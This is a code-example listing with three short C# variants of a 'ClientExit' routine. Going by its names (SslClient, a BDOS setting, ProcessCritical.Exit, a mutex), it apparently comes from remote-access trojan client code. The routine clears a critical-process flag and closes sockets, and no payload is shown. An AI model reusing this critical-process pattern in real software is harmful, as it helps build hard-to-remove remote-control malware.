Exemplo n.º 1
0
 public static void ClientExit()
 {
     if (Convert.ToBoolean(Settings.BDOS) && IsAdmin())
     {
         ProcessCritical.Exit();
     }
     CloseMutex();
     ClientSocket.SslClient?.Close();
     ClientSocket.Client?.Close();
 }
Exemplo n.º 2
0
 public static void ClientOnExit()
 {
     try
     {
         if (Convert.ToBoolean(Settings.BD_OS) && IsAdmin())
         {
             ProcessCritical.Exit();
         }
         MutexControl.CloseMutex();
         ClientSocket.SslClient?.Close();
         ClientSocket.TcpClient?.Close();
     }
     catch { }
 }
Exemplo n.º 3
0
 public static void ClientExit()
 {
     try
     {
         if (Convert.ToBoolean(Settings.BDOS) && IsAdmin())
         {
             ProcessCritical.Exit();
         }
         CloseMutex();
         ClientSocket.Client?.Shutdown(SocketShutdown.Both);
         ClientSocket.SslClient?.Close();
         ClientSocket.Client?.Close();
     }
     catch { }
 }